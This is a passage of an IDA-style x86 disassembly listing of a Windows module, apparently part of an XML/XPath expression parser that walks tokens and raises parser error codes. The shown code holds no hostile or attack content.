loc_69B62744:				; CODE XREF: sub_69B62690+A2j
		mov	eax, [ebp+var_8]


loc_69B62747:				; CODE XREF: sub_69B62690+4Bj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	10h
sub_69B62690	endp

; ---------------------------------------------------------------------------
		align 10h
dword_69B62750	dd 0FFFFFFE2h, 1, 1002h, 8 dup(0)		dd offset sub_69B63114

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B62780	proc near		; CODE XREF: sub_69B5F881+97p
					; sub_69B63788+E5p

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		mov	esi, ecx
		mov	bx, [esi+0Eh]
		push	edi
		call	sub_69B88D77
		push	dwTlsIndex
		mov	[ebp+var_4], eax
		call	dword_69B92970
		mov	eax, [eax+1Ch]
		mov	ecx, esi
		mov	[ebp+var_8], eax
		call	sub_69B5EA78
		xor	edi, edi
		jmp	short loc_69B627EA
; ---------------------------------------------------------------------------


loc_69B627B3:				; CODE XREF: sub_69B62780+6Ej
		mov	ax, [esi+0Eh]
		cmp	ax, bx
		jz	short loc_69B627F0
		cmp	[ebp+var_8], 2
		jnz	short loc_69B627DA
		cmp	ax, 5Ch
		jnz	short loc_69B627DA
		mov	ecx, esi
		call	sub_69B5EA78
		xor	eax, eax
		mov	ax, [esi+0Eh]
		cmp	ax, di
		jz	short loc_69B627F0


loc_69B627DA:				; CODE XREF: sub_69B62780+40j
					; sub_69B62780+46j
		mov	ecx, [ebp+var_4]
		push	eax
		call	sub_69B88E7C
		mov	ecx, esi
		call	sub_69B5EA78


loc_69B627EA:				; CODE XREF: sub_69B62780+31j
		cmp	[esi+0Eh], di
		jnz	short loc_69B627B3


loc_69B627F0:				; CODE XREF: sub_69B62780+3Aj
					; sub_69B62780+58j
		cmp	[esi+0Eh], di
		jnz	short loc_69B62808
		push	edi
		push	edi
		push	dword ptr [esi+1Ch]
		mov	ecx, esi
		push	edi
		push	0C00CE560h
		call	sub_69B61C54


loc_69B62808:				; CODE XREF: sub_69B62780+74j
		mov	ecx, esi
		call	sub_69B5EA78
		mov	ecx, [ebp+var_4]
		mov	dword ptr [esi+20h], 0FFFFFFFBh
		mov	eax, [ecx]
		call	dword ptr [eax+2Ch]
		push	eax
		add	esi, 24h
		push	esi
		call	sub_69B17320
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_69B62780	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B6282D	proc near		; CODE XREF: sub_69B5F881+1F1p
					; sub_69B62A6D+2Bp ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		lea	eax, [ebp+var_4]
		push	eax
		xor	esi, esi
		push	edi
		mov	[ebp+var_4], esi
		call	sub_69B31F54
		cmp	[ebp+arg_4], esi
		mov	ebx, eax
		jz	short loc_69B62891
		sub	eax, edi
		sar	eax, 1
		cmp	eax, [ebp+arg_4]
		jz	short loc_69B62891
		cmp	word ptr [ebx],	3Ah
		jnz	short loc_69B6285E
		inc	ebx
		inc	ebx


loc_69B6285E:				; CODE XREF: sub_69B6282D+2Dj
		mov	ecx, [ebp+arg_10]
		cmp	ecx, esi
		jz	short loc_69B62877
		push	edi
		lea	eax, [ebx+2]
		push	eax
		push	ebx
		push	0C00CE505h
		call	sub_69B62488
		jmp	short loc_69B62891
; ---------------------------------------------------------------------------


loc_69B62877:				; CODE XREF: sub_69B6282D+36j
		push	80004005h
		push	esi
		push	esi
		push	0C00CE505h
		call	sub_69B2F944
		add	esp, 0Ch
		push	eax
		call	sub_69B2E8A2


loc_69B62891:				; CODE XREF: sub_69B6282D+1Ej
					; sub_69B6282D+27j ...
		cmp	word ptr [ebx],	3Ah
		jnz	short loc_69B628AC
		cmp	word ptr [ebx+2], 2Ah
		jnz	short loc_69B628AC
		mov	eax, ebx
		sub	eax, edi
		sar	eax, 1
		mov	[ebp+var_4], eax
		add	ebx, 4
		jmp	short loc_69B628AF
; ---------------------------------------------------------------------------


loc_69B628AC:				; CODE XREF: sub_69B6282D+68j
					; sub_69B6282D+6Fj
		mov	eax, [ebp+var_4]


loc_69B628AF:				; CODE XREF: sub_69B6282D+7Dj
		cmp	eax, esi
		mov	esi, [ebp+arg_8]
		jbe	short loc_69B628C9
		push	eax
		push	edi
		call	sub_69B2FAC8
		mov	[esi+4], eax
		mov	eax, [ebp+var_4]
		inc	eax
		mov	[ebp+var_4], eax
		jmp	short loc_69B628CD
; ---------------------------------------------------------------------------


loc_69B628C9:				; CODE XREF: sub_69B6282D+87j
		and	dword ptr [esi+4], 0


loc_69B628CD:				; CODE XREF: sub_69B6282D+9Aj
		lea	ecx, [edi+eax*2]
		cmp	word ptr [ecx],	2Ah
		jz	short loc_69B628EA
		mov	edx, ebx
		sub	edx, edi
		sar	edx, 1
		sub	edx, eax
		push	edx
		push	ecx
		call	sub_69B2FAC8
		mov	[esi+8], eax
		jmp	short loc_69B628EE
; ---------------------------------------------------------------------------


loc_69B628EA:				; CODE XREF: sub_69B6282D+A7j
		and	dword ptr [esi+8], 0


loc_69B628EE:				; CODE XREF: sub_69B6282D+BBj
		push	dwTlsIndex
		call	dword_69B92970
		cmp	dword ptr [eax+1Ch], 1
		setz	byte ptr [ebp+arg_4+3]
		xor	edi, edi
		cmp	[esi+4], edi
		jnz	short loc_69B6291F
		mov	eax, [esi+8]
		cmp	dword_69B95A6C,	eax
		jnz	short loc_69B6291F
		mov	[esi+4], eax
		mov	eax, dword_69B95A18
		mov	[esi+8], eax


loc_69B6291F:				; CODE XREF: sub_69B6282D+DAj
					; sub_69B6282D+E5j
		mov	eax, [esi+4]
		cmp	eax, edi
		jz	short loc_69B62961
		mov	ecx, [ebp+arg_C]
		cmp	ecx, edi
		jz	short loc_69B62937
		push	edi
		push	edi
		push	eax
		call	sub_69B4D2DF
		jmp	short loc_69B6293D
; ---------------------------------------------------------------------------


loc_69B62937:				; CODE XREF: sub_69B6282D+FEj
		push	eax
		call	sub_69B4D2B6


loc_69B6293D:				; CODE XREF: sub_69B6282D+108j
		mov	edi, eax
		test	edi, edi
		jnz	short loc_69B62961
		cmp	byte ptr [ebp+arg_4+3],	al
		jz	short loc_69B62961
		mov	ecx, [esi+4]
		push	eax
		mov	eax, [ecx]
		call	dword ptr [eax+2Ch]
		push	eax
		mov	eax, 0C00CE01Dh
		push	eax
		push	eax
		call	sub_69B2E9D0
		add	esp, 10h


loc_69B62961:				; CODE XREF: sub_69B6282D+F7j
					; sub_69B6282D+114j ...
		mov	[esi], edi
		pop	edi
		pop	esi
		mov	eax, ebx
		pop	ebx
		leave
		retn	14h
sub_69B6282D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B6296C	proc near		; CODE XREF: sub_69B5F12B+EBp
					; sub_69B60160+8Fp ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= byte ptr  14h

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		mov	esi, [ebp+arg_0]
		xor	ebx, ebx
		cmp	esi, ebx
		push	edi
		mov	edi, ecx
		jz	short loc_69B62989
		mov	eax, [esi]
		mov	ecx, esi
		call	dword ptr [eax+44h]
		mov	[ebp+arg_0], eax
		jmp	short loc_69B6298C
; ---------------------------------------------------------------------------


loc_69B62989:				; CODE XREF: sub_69B6296C+Fj
		mov	[ebp+arg_0], ebx


loc_69B6298C:				; CODE XREF: sub_69B6296C+1Bj
		cmp	[ebp+arg_0], ebx
		jnz	short loc_69B629A3
		push	ebx
		push	ebx
		push	[ebp+arg_4]
		mov	ecx, edi
		push	ebx
		push	0C00CE382h
		call	sub_69B61C54


loc_69B629A3:				; CODE XREF: sub_69B6296C+23j
		cmp	[ebp+arg_8], ebx
		jz	short loc_69B629ED
		mov	eax, [esi]
		mov	ecx, esi
		call	dword ptr [eax+4Ch]
		test	al, 8
		jnz	short loc_69B629B8
		or	eax, 80h


loc_69B629B8:				; CODE XREF: sub_69B6296C+45j
		mov	ecx, eax
		and	ecx, [ebp+arg_8]
		test	cl, 82h
		jz	short loc_69B629CC
		test	byte ptr [ebp+arg_8], 4
		jz	short loc_69B629ED
		test	al, 4
		jnz	short loc_69B629ED


loc_69B629CC:				; CODE XREF: sub_69B6296C+54j
		cmp	[ebp+arg_C], bl
		jz	short loc_69B629E3
		push	ebx
		push	ebx
		push	[ebp+arg_4]
		mov	ecx, edi
		push	ebx
		push	0C00CE60Eh
		call	sub_69B61C54


loc_69B629E3:				; CODE XREF: sub_69B6296C+63j
		push	[ebp+arg_4]
		mov	ecx, edi
		call	sub_69B6240B


loc_69B629ED:				; CODE XREF: sub_69B6296C+3Aj
					; sub_69B6296C+5Aj ...
		mov	eax, [ebp+arg_0]
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn	10h
sub_69B6296C	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B629F7	proc near		; CODE XREF: sub_69B5F12B+D0p
					; sub_69B62E54+54p ...

arg_0		= dword	ptr  4

		push	esi
		push	[esp+4+arg_0]
		mov	esi, ecx
		call	sub_69B61B61
		push	eax
		mov	ecx, esi
		call	sub_69B62438
		pop	esi
		retn	4
sub_69B629F7	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B62A0F	proc near		; DATA XREF: .text:off_69B625A4o

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	sub_69B62A37
		mov	ecx, eax
		add	eax, 8
		neg	ecx
		sbb	ecx, ecx
		push	0
		and	ecx, eax
		push	ecx
		call	sub_69B6B06D
		lea	ecx, [eax+8]
		neg	eax
		sbb	eax, eax
		and	eax, ecx
		retn	4
sub_69B62A0F	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B62A37	proc near		; CODE XREF: sub_69B62A0F+4p

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 69B153C0 SIZE 00000036 BYTES

		push	10h
		call	sub_69B17EF3
		test	eax, eax
		jz	short loc_69B62A49
		mov	ecx, eax
		jmp	loc_69B153C0
; ---------------------------------------------------------------------------


loc_69B62A49:				; CODE XREF: sub_69B62A37+9j
		xor	eax, eax
		retn	4
sub_69B62A37	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B62A4E	proc near		; DATA XREF: .text:69B1542Co
					; .text:69B16654o ...
		sub	ecx, 8
		jmp	loc_69B7629F
sub_69B62A4E	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B62A56	proc near		; CODE XREF: sub_69B3D17C:loc_69B3D18Ep
					; sub_69B6F483+56p

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 69B625EE SIZE 00000037 BYTES

		push	50h
		call	sub_69B17EF3
		test	eax, eax
		jz	short loc_69B62A68
		mov	ecx, eax
		jmp	loc_69B625EE
; ---------------------------------------------------------------------------


loc_69B62A68:				; CODE XREF: sub_69B62A56+9j
		xor	eax, eax
		retn	4
sub_69B62A56	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B62A6D	proc near		; DATA XREF: .text:69B6193Co
					; .text:69B6196Co

var_14		= dword	ptr -14h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_14		= dword	ptr  1Ch
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		push	ebx
		push	esi
		mov	esi, [ebp+arg_4]
		xor	ebx, ebx
		cmp	dword ptr [esi+20h], 0FFFFFFFBh
		push	edi
		mov	[ebp+var_8], ebx
		mov	[ebp+var_4], ebx
		jnz	short loc_69B62ADE
		mov	eax, [esi+24h]
		mov	edi, [eax+0Ch]
		mov	eax, [esi+34h]
		push	esi
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		push	ebx
		push	edi
		call	sub_69B6282D
		cmp	eax, edi
		jz	short loc_69B62AAD
		mov	ecx, [esi+24h]
		sub	eax, edi
		sar	eax, 1
		cmp	eax, [ecx+8]
		jz	short loc_69B62ABF


loc_69B62AAD:				; CODE XREF: sub_69B62A6D+32j
		push	ebx
		push	ebx
		push	[ebp+arg_8]
		mov	ecx, esi
		push	ebx
		push	0C00CE608h
		call	sub_69B61C54


loc_69B62ABF:				; CODE XREF: sub_69B62A6D+3Ej
		cmp	[ebp+var_14], ebx
		jz	short loc_69B62ADE
		push	[ebp+var_14]
		push	[ebp+var_C]
		call	sub_69B192E9
		mov	[ebp+var_4], eax
		mov	eax, [esi]
		mov	ecx, esi
		call	dword ptr [eax+44h]
		cmp	[ebp+var_4], ebx
		jnz	short loc_69B62B04


loc_69B62ADE:				; CODE XREF: sub_69B62A6D+18j
					; sub_69B62A6D+55j
		push	[ebp+arg_1C]
		mov	eax, [esi]
		push	[ebp+arg_14]
		mov	ecx, esi
		call	dword ptr [eax+40h]
		cmp	eax, ebx
		mov	[ebp+var_8], eax
		jnz	short loc_69B62B04
		push	ebx
		push	ebx
		push	[ebp+arg_8]
		mov	ecx, esi
		push	ebx
		push	0C00CE606h
		call	sub_69B61C54


loc_69B62B04:				; CODE XREF: sub_69B62A6D+6Fj
					; sub_69B62A6D+83j
		push	29h
		mov	ecx, esi
		call	sub_69B5EB78
		mov	eax, [esi]
		mov	ecx, esi
		call	dword ptr [eax+44h]
		push	ebx
		push	3
		call	sub_69B8A458
		mov	ecx, [esi+34h]
		mov	edi, eax
		xor	eax, eax
		cmp	ecx, ebx
		jz	short loc_69B62B2C
		mov	eax, [ecx]
		call	dword ptr [eax+28h]


loc_69B62B2C:				; CODE XREF: sub_69B62A6D+B8j
		push	eax
		mov	ecx, edi
		call	sub_69B8A35C
		push	[ebp+var_8]
		mov	ecx, edi
		call	sub_69B8A35C
		push	[ebp+var_4]
		mov	ecx, edi
		call	sub_69B8A35C
		mov	eax, [ebp+arg_0]
		push	dword ptr [eax+28h]
		push	edi
		call	sub_69B67706
		lea	ecx, [eax+8]
		neg	eax
		pop	edi
		sbb	eax, eax
		pop	esi
		and	eax, ecx
		pop	ebx
		leave
		retn	20h
sub_69B62A6D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B62B64	proc near		; DATA XREF: .text:69B6199Co
					; .text:69B619CCo ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_14		= dword	ptr  1Ch
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		mov	ebx, [edi+4]
		push	0
		push	ebx
		call	sub_69B8A458
		and	[ebp+arg_0], 0
		mov	esi, [ebp+arg_4]
		mov	[ebp+var_4], eax
		lea	eax, [edi+8]
		test	byte ptr [eax+1], 10h
		jz	short loc_69B62B92
		cmp	dword ptr [esi+20h], 29h
		jz	short loc_69B62BDD


loc_69B62B92:				; CODE XREF: sub_69B62B64+26j
		mov	[ebp+arg_4], eax


loc_69B62B95:				; CODE XREF: sub_69B62B64+77j
		cmp	[ebp+arg_0], ebx
		jge	short loc_69B62BDD
		push	[ebp+arg_1C]
		mov	eax, [esi]
		push	[ebp+arg_14]
		mov	ecx, esi
		call	dword ptr [eax+40h]
		mov	ecx, [ebp+var_4]
		push	eax
		call	sub_69B8A35C
		inc	[ebp+arg_0]
		add	[ebp+arg_4], 4
		cmp	[ebp+arg_0], ebx
		jz	short loc_69B62BDD
		mov	eax, [ebp+arg_4]
		test	byte ptr [eax+1], 10h
		jz	short loc_69B62BCB
		cmp	dword ptr [esi+20h], 29h
		jz	short loc_69B62BDD


loc_69B62BCB:				; CODE XREF: sub_69B62B64+5Fj
		push	2Ch
		mov	ecx, esi
		call	sub_69B5EB78
		mov	eax, [esi]
		mov	ecx, esi
		call	dword ptr [eax+44h]
		jmp	short loc_69B62B95
; ---------------------------------------------------------------------------


loc_69B62BDD:				; CODE XREF: sub_69B62B64+2Cj
					; sub_69B62B64+34j ...
		push	29h
		mov	ecx, esi
		call	sub_69B5EB78
		mov	eax, [esi]
		mov	ecx, esi
		call	dword ptr [eax+44h]
		push	dword ptr [edi+28h]
		push	[ebp+var_4]
		call	sub_69B67706
		lea	ecx, [eax+8]
		neg	eax
		pop	edi
		sbb	eax, eax
		pop	esi
		and	eax, ecx
		pop	ebx
		leave
		retn	20h
sub_69B62B64	endp

; ---------------------------------------------------------------------------


loc_69B62C08:				; DATA XREF: .text:69B6142Co
		push	esi
		mov	esi, [esp+0Ch]
		push	edi
		xor	eax, eax
		mov	al, [esi+0Ch]
		push	1
		push	eax
		push	1
		xor	eax, eax
		push	eax
		push	eax
		push	eax
		push	eax
		push	dword ptr [esp+3Ch]
		call	sub_69B685B5
		push	29h
		mov	ecx, esi
		mov	edi, eax
		call	sub_69B5EB78
		mov	eax, [esi]
		mov	ecx, esi
		call	dword ptr [eax+44h]
		mov	eax, edi
		add	edi, 8
		neg	eax
		sbb	eax, eax
		and	eax, edi
		pop	edi
		pop	esi
		retn	20h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B62C49	proc near		; DATA XREF: .text:69B6145Co

var_10		= dword	ptr -10h
var_C		= byte ptr -0Ch
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		mov	eax, [edi]
		xor	ebx, ebx
		push	ebx
		push	[ebp+arg_14]
		mov	ecx, edi
		mov	[ebp+var_10], ebx
		mov	[ebp+var_C], bl
		call	dword ptr [eax+40h]
		mov	esi, eax
		cmp	esi, ebx
		jz	short loc_69B62C7A
		mov	eax, [esi]
		mov	ecx, esi
		call	dword ptr [eax+44h]
		mov	[ebp+arg_4], eax
		jmp	short loc_69B62C8C
; ---------------------------------------------------------------------------


loc_69B62C7A:				; CODE XREF: sub_69B62C49+23j
		push	ebx
		push	ebx
		push	dword ptr [edi+1Ch]
		mov	ecx, edi
		push	ebx
		push	0C00CE604h
		call	sub_69B61C54


loc_69B62C8C:				; CODE XREF: sub_69B62C49+2Fj
		cmp	[ebp+arg_4], ebx
		jz	short loc_69B62C9E
		xor	eax, eax
		mov	al, [edi+0Ch]
		push	eax
		push	ebx
		push	[ebp+arg_4]
		push	ebx
		jmp	short loc_69B62CB6
; ---------------------------------------------------------------------------


loc_69B62C9E:				; CODE XREF: sub_69B62C49+46j
		cmp	[ebp+arg_14], ebx
		jz	short loc_69B62CAD
		push	[ebp+arg_8]
		mov	ecx, edi
		call	sub_69B6240B


loc_69B62CAD:				; CODE XREF: sub_69B62C49+58j
		xor	eax, eax
		mov	al, [edi+0Ch]
		push	eax
		push	ebx
		push	ebx
		push	esi


loc_69B62CB6:				; CODE XREF: sub_69B62C49+53j
		call	sub_69B6B53D
		mov	esi, eax
		add	eax, 8
		neg	esi
		sbb	esi, esi
		push	29h
		mov	ecx, edi
		and	esi, eax
		call	sub_69B5EB78
		mov	eax, [edi]
		mov	ecx, edi
		call	dword ptr [eax+44h]
		lea	ecx, [ebp+var_10]
		call	sub_69B466CC
		pop	edi
		mov	eax, esi
		pop	esi
		pop	ebx
		leave
		retn	20h
sub_69B62C49	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B62CE7	proc near		; DATA XREF: .text:69B6148Co

arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_14		= dword	ptr  18h

		cmp	[esp+arg_14], 0
		push	esi
		mov	esi, [esp+4+arg_4]
		push	edi
		jz	short loc_69B62CFF
		push	[esp+8+arg_8]
		mov	ecx, esi
		call	sub_69B6240B


loc_69B62CFF:				; CODE XREF: sub_69B62CE7+Bj
		xor	eax, eax
		mov	al, [esi+0Ch]
		push	eax
		push	0FFFFFFFFh
		call	sub_69B6B83C
		push	29h
		mov	ecx, esi
		mov	edi, eax
		call	sub_69B5EB78
		mov	eax, [esi]
		mov	ecx, esi
		call	dword ptr [eax+44h]
		mov	eax, edi
		add	edi, 8
		neg	eax
		sbb	eax, eax
		and	eax, edi
		pop	edi
		pop	esi
		retn	20h
sub_69B62CE7	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B62D2E	proc near		; CODE XREF: sub_69B62D2E+3Ep
					; sub_69B62D8D+66p ...
		push	esi
		push	edi
		mov	esi, ecx
		call	sub_69B5EA61
		mov	ecx, esi
		call	sub_69B62631
		mov	edi, eax
		mov	eax, [esi+20h]
		cmp	eax, 0FFFFFFF5h
		jz	short loc_69B62D63
		cmp	eax, 0FFFFFFC0h
		jz	short loc_69B62D63
		cmp	eax, 0FFFFFFFCh
		jnz	short loc_69B62D85
		cmp	dword ptr [esi+2Ch], 0
		jnz	short loc_69B62D85
		mov	eax, [esi+30h]
		cmp	eax, dword_69B9B2C0
		jnz	short loc_69B62D85


loc_69B62D63:				; CODE XREF: sub_69B62D2E+18j
					; sub_69B62D2E+1Dj
		mov	eax, [esi]
		mov	ecx, esi
		call	dword ptr [eax+44h]
		mov	ecx, esi
		call	sub_69B62D2E
		push	eax
		push	edi
		call	sub_69B69FA2
		mov	ecx, eax
		add	eax, 8
		neg	ecx
		sbb	ecx, ecx
		and	ecx, eax
		mov	edi, ecx


loc_69B62D85:				; CODE XREF: sub_69B62D2E+22j
					; sub_69B62D2E+28j ...
		dec	dword ptr [esi+48h]
		mov	eax, edi
		pop	edi
		pop	esi
		retn
sub_69B62D2E	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B62D8D	proc near		; CODE XREF: sub_69B6229B+62p
					; sub_69B6229B+CCp ...

var_10		= qword	ptr -10h
arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	esi, ecx
		call	sub_69B5EA61
		mov	eax, [esi+20h]
		cmp	eax, 0FFFFFFFAh
		jz	short loc_69B62E0F
		cmp	eax, 0FFFFFFFBh
		jz	short loc_69B62E05
		cmp	eax, 28h
		mov	ecx, esi
		jz	short loc_69B62DEC
		cmp	eax, 2Dh
		mov	eax, [esi]
		jz	short loc_69B62DBE
		push	[esp+8+arg_0]
		push	0
		call	dword ptr [eax+40h]
		mov	edi, eax
		jmp	short loc_69B62E32
; ---------------------------------------------------------------------------


loc_69B62DBE:				; CODE XREF: sub_69B62D8D+22j
		call	dword ptr [eax+44h]
		push	0FFFFFFFAh
		mov	ecx, esi
		call	sub_69B5EB78
		fld	qword ptr [esi+40h]
		push	ecx
		push	ecx
		fmul	ds:dbl_69B296B0
		fstp	[esp+10h+var_10]
		push	0
		push	dword ptr [esi+24h]
		push	offset off_69B62E40
		call	sub_69B2F2CA
		add	esp, 0Ch
		jmp	short loc_69B62E1A
; ---------------------------------------------------------------------------


loc_69B62DEC:				; CODE XREF: sub_69B62D8D+1Bj
		mov	eax, [esi]
		call	dword ptr [eax+44h]
		mov	ecx, esi
		call	sub_69B62D2E
		push	29h
		mov	ecx, esi
		mov	edi, eax
		call	sub_69B5EB78
		jmp	short loc_69B62E2B
; ---------------------------------------------------------------------------


loc_69B62E05:				; CODE XREF: sub_69B62D8D+14j
		push	dword ptr [esi+24h]
		call	sub_69B65631
		jmp	short loc_69B62E20
; ---------------------------------------------------------------------------


loc_69B62E0F:				; CODE XREF: sub_69B62D8D+Fj
		fld	qword ptr [esi+40h]
		mov	eax, [esi+24h]
		push	ecx
		push	ecx		; double
		fstp	[esp+10h+var_10]


loc_69B62E1A:				; CODE XREF: sub_69B62D8D+5Dj
		push	eax		; int
		call	sub_69B6564F


loc_69B62E20:				; CODE XREF: sub_69B62D8D+80j
		mov	edi, eax
		add	eax, 8
		neg	edi
		sbb	edi, edi
		and	edi, eax


loc_69B62E2B:				; CODE XREF: sub_69B62D8D+76j
		mov	eax, [esi]
		mov	ecx, esi
		call	dword ptr [eax+44h]


loc_69B62E32:				; CODE XREF: sub_69B62D8D+2Fj
		dec	dword ptr [esi+48h]
		mov	eax, edi
		pop	edi
		pop	esi
		retn	4
sub_69B62D8D	endp

; ---------------------------------------------------------------------------
		align 10h
off_69B62E40	dd offset off_69B17D10	; DATA XREF: sub_69B62D8D+50o
		align 8
		dd 1
		dd offset dword_69B62E50
dword_69B62E50	dd 2Dh		
; =============== S U B	R O U T	I N E =======================================



sub_69B62E54	proc near		; CODE XREF: sub_69B63788+9Cp
		push	esi
		mov	esi, ecx
		jmp	short loc_69B62E5E
; ---------------------------------------------------------------------------


loc_69B62E59:				; CODE XREF: sub_69B62E54+1Aj
		call	sub_69B5EA78


loc_69B62E5E:				; CODE XREF: sub_69B62E54+3j
		xor	eax, eax
		mov	ax, [esi+0Eh]
		push	eax
		call	sub_69B31914
		test	eax, eax
		mov	ecx, esi
		jnz	short loc_69B62E59
		cmp	word ptr [esi+0Eh], 24h
		jnz	short loc_69B62EA6
		push	edi
		call	sub_69B5EA78
		mov	ecx, [esi+1Ch]
		mov	eax, [esi+18h]
		sub	eax, ecx
		dec	eax
		dec	eax
		sar	eax, 1
		push	eax
		push	ecx
		call	sub_69B190C1
		push	eax
		lea	edi, [esi+24h]
		push	edi
		call	sub_69B17320
		push	dword ptr [edi]
		mov	ecx, esi
		call	sub_69B61C88
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_69B62EA6:				; CODE XREF: sub_69B62E54+21j
		push	24h
		call	sub_69B629F7
		pop	esi
		retn
sub_69B62E54	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B62EAF	proc near		; CODE XREF: sub_69B5F881+149p
					; sub_69B63788+22Ep

var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		xor	ebx, ebx
		push	ebx		; int
		mov	esi, ecx
		lea	eax, [ebp+var_4]
		push	eax		; int
		lea	eax, [esi+38h]
		push	eax		; pvar
		push	0FFFFFFFFh	; int
		push	0FFFFFFFFh	; int
		push	1Eh		; int
		push	ebx		; cElements
		push	dword ptr [esi+1Ch] ; strIn
		mov	[ebp+var_4], ebx
		call	sub_69B30856
		test	eax, eax
		jge	short loc_69B62F02
		mov	eax, [ebp+var_4]
		cmp	eax, [esi+1Ch]
		mov	ecx, esi
		jbe	short loc_69B62EEB
		push	0FFFFFFFAh
		call	sub_69B629F7
		jmp	short loc_69B62F02
; ---------------------------------------------------------------------------


loc_69B62EEB:				; CODE XREF: sub_69B62EAF+31j
		call	sub_69B5EA78
		push	ebx
		push	ebx
		push	dword ptr [esi+1Ch]
		mov	ecx, esi
		push	ebx
		push	0C00CE386h
		call	sub_69B61C54


loc_69B62F02:				; CODE XREF: sub_69B62EAF+27j
					; sub_69B62EAF+3Aj
		mov	eax, [ebp+var_4]
		cmp	eax, ebx
		jz	short loc_69B62F32
		mov	ecx, [esi+1Ch]
		sub	eax, ecx
		sar	eax, 1
		push	eax
		push	ecx
		mov	dword ptr [esi+20h], 0FFFFFFFAh
		call	sub_69B190C1
		push	eax
		lea	eax, [esi+24h]
		push	eax
		call	sub_69B17320
		push	[ebp+var_4]
		mov	ecx, esi
		call	sub_69B5EB96


loc_69B62F32:				; CODE XREF: sub_69B62EAF+58j
		pop	esi
		pop	ebx
		leave
		retn
sub_69B62EAF	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B62F36	proc near		; CODE XREF: sub_69B5F12B+B5p
					; sub_69B5F3B7+13p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	esi
		mov	esi, ecx
		mov	ecx, [esp+4+arg_8]
		test	ecx, ecx
		jz	short loc_69B62F4A
		mov	eax, [ecx]
		call	dword ptr [eax+5Ch]
		mov	ecx, eax
		jmp	short loc_69B62F4C
; ---------------------------------------------------------------------------


loc_69B62F4A:				; CODE XREF: sub_69B62F36+9j
		xor	ecx, ecx


loc_69B62F4C:				; CODE XREF: sub_69B62F36+12j
		xor	eax, eax
		test	ecx, ecx
		jz	short loc_69B62F5A
		mov	eax, [ecx]
		call	dword ptr [eax+4Ch]
		and	eax, 2


loc_69B62F5A:				; CODE XREF: sub_69B62F36+1Aj
		push	[esp+4+arg_C]
		mov	ecx, esi
		push	eax
		push	[esp+0Ch+arg_4]
		push	[esp+10h+arg_0]
		call	sub_69B6296C
		pop	esi
		retn	10h
sub_69B62F36	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B62F72	proc near		; DATA XREF: .text:69B12B68o

var_8		= dword	ptr -8
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		push	edi
		push	dwTlsIndex
		mov	esi, ecx
		call	dword_69B92970
		push	[ebp+arg_4]
		mov	edi, eax
		mov	eax, [edi+1Ch]
		mov	[ebp+var_8], eax
		lea	eax, [esi+34h]
		push	eax
		mov	dword ptr [edi+1Ch], 2
		call	sub_69B17320
		xor	ebx, ebx
		push	ebx
		push	[ebp+arg_0]
		mov	ecx, esi
		mov	[esi+48h], ebx
		call	sub_69B5EBA5
		test	eax, eax
		jz	short loc_69B62FE2
		mov	eax, [esi+1Ch]
		push	ebx
		mov	[ebp+arg_0], eax
		mov	eax, [esi]
		push	ebx
		mov	ecx, esi
		call	dword ptr [eax+40h]
		push	ebx
		mov	ecx, esi
		mov	[ebp+arg_4], eax
		call	sub_69B5EB78
		push	ebx
		push	ebx
		push	[ebp+arg_0]
		mov	ecx, esi
